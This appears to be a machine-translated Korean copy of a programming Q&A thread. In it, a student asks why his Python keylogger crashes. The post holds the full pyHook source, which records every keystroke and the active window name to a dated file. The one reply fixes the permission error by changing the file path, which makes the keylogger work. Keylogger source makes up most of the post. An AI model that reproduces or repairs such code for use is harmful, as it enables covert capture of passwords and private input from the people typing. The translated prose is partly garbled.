2017-03-31 6 views
-2

메신저로 학교에서 파이썬을 배우기 시작했습니다.하지만 키로거 만드는 방법을 찾을 때까지 재미있는 스크립트를 찾고 있었기 때문에 우리는 기본적인 것들을했습니다. 코드가 있지만 작동하지 않습니다. 나는 몇 가지 오류하지만 고정 여전히키로거 오류

(주 : 나는 그래서 그래, 해커 또는 w/전자 되려고 노력하는 나의 오래된 PC를 제외하고 다른 사람이 어디를 사용 실 거예요)

(NOTE2 : 미안 내 나쁜 영어, 메신저 그리스어 : P)

import pyHook, pythoncom 
from datetime import datetime 

todays_date = datetime.now().strftime('%Y-%b-%d') 
file_name = 'C:\\Documents'+todays_date+'.txt' 

line_buffer = "" #current typed line before return character 
window_name = "" #current window 

def SaveLineToFile(line): 
current_time = datetime.now().strftime('%H:%M:%S') 
line = "[" + current_time + "] " + line 
todays_file = open(file_name, 'a') #open todays file (append mode) 
todays_file.write(line) #append line to file 
todays_file.close() #close todays file 

def OnKeyboardEvent(event): 
global line_buffer 
global window_name 

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value 

"""if typing in new window""" 
if(window_name != event.WindowName): #if typing in new window 
    if(line_buffer != ""): #if line buffer is not empty 
     line_buffer += '\n' 
     SaveLineToFile(line_buffer) #print to file: any non printed     characters from old window 

    line_buffer = "" #clear the line buffer 
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print  to file: the new window name 
    window_name = event.WindowName #set the new window name 

"""if return or tab key pressed""" 
if(event.Ascii == 13 or event.Ascii == 9): #return key 
    line_buffer += '\n' 
    SaveLineToFile(line_buffer) #print to file: the line buffer 
    line_buffer = "" #clear the line buffer 
    return True #exit event 

"""if backspace key pressed""" 
if(event.Ascii == 8): #backspace key 
    line_buffer = line_buffer[:-1] #remove last character 
    return True #exit event 

"""if non-normal ascii character""" 
if(event.Ascii < 32 or event.Ascii > 126): 
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt) 
     pass #do nothing 
    else: 
     line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n' 
else: 
    line_buffer += chr(event.Ascii) #add pressed character to line buffer 

return True #pass event to other handlers 

hooks_manager = pyHook.HookManager() #create hook manager 
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press 
hooks_manager.HookKeyboard() #set the hook 
pythoncom.PumpMessages() #wait for events 

오류는 다음과 같습니다 오류 메시지가 이미 말한다

Traceback (most recent call last): 
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in  KeyboardSwitch 
return func(event) 
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent 
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name 
File "C:\Python27\test123.py", line 13, in SaveLineToFile 
todays_file = open(file_name, 'a') #open todays file (append mode) 
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt' 

답변

1

으로,이 코드 자체에 문제가 없지만, 파이썬은에 액세스 할 수 있습니다 겹 다른 폴더를 사용하거나이 프로그램을 실행할 때 Python 관리자 권한을 부여하십시오. 나를 위해 file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt' 완벽하게 잘 일했습니다.

+0

대단히 감사합니다. :) –